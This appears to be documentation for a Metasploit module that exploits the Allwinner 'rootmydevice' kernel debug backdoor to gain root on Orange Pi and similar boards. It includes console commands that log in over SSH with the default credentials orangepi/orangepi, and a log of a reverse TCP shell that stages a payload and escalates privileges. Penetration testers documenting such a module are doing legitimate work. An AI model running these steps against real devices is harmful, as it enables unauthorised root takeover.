## Introduction

Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4
Vulnerable OS: all OS images available for Orange Pis,
				 any for FriendlyARM's NanoPi M1,
				 SinoVoip's M2+ and M3,
				 Cuebietech's Cubietruck +
				 Linksprite's pcDuino8 Uno
Exploitation may be possible against Dragon (x10) and Allwinner Android tablets

This module attempts to exploit a debug backdoor privilege escalation in Allwinner SoC based devices. Implements the Allwinner privilege escalation as documented in [Metasploit issue #6869](https://github.com/rapid7/metasploit-framework/issues/6869).  It is a simple debug kernel module that, when "rootmydevice" is echoed to the process, it escalates the shell to root.

## Usage

To use this module, you need a vulnerable device.  An Orange Pi (PC model) running Lubuntu 14.04 v0.8.0 works, but other OSes for the device (as well as other devices) are also vulnerable.

- `use auxiliary/scanner/ssh/ssh_login`

```
msf auxiliary(ssh_login) > set username orangepi
username => orangepi
msf auxiliary(ssh_login) > set password orangepi
password => orangepi
msf auxiliary(ssh_login) > set rhosts 192.168.2.21
rhosts => 192.168.2.21
msf auxiliary(ssh_login) > exploit

## Successful exploitation:

```
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Transmitting intermediate stager...(136 bytes)
[*] Sending stage (374540 bytes) to 192.168.2.248
[+] Backdoor Found, writing payload to /tmp/odzVx.elf
[*] Max line length is 65537
[*] Writing 284 bytes in 1 chunks of 843 bytes (octal-encoded), using printf
[+] Escalating
